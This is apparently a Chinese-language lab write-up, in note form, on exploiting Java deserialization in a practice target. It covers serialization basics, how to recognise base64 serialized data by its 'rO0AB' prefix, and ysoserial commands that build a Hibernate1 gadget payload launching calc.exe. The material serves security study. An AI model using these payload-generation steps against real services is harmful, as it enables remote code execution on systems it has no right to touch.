1、主函数:
2、序列化方法:
3、反序列化方法:
4、运行结果:
1、源代码分析:
2、运行结果:
1、启动靶场:
2、进入靶场:
3、理论分析:
4、源代码分析:
接受参数,base64解密,反序列化读取,返回读取的对象
获取输出流,赋值给一个对象,然后写入输出流(序列化),返回base64编码
这里存在命令执行(在调用读取输入流的时候,也就是读取反序列化的数据,并且把它当做命令执行)
5、漏洞分析:这里会将反序列化的数据进行读取,再进行命令执行。
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l
是序列化后加密形成#补充知识点
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。|
6、 使用工具将命令构造成序列化语句
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;
ysoserial-master-30099844c6-1.jar
ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin
java -jar ysoserial-all.jar
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-8eb5cbfbf6-1.jar ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin
生成了payload,利用Python程序base64加密
将加密后文本的代码复制到反序列化窗口,发现本地的计算器被打开。
https://blog.csdn.net/qq_36585338/article/details/128121566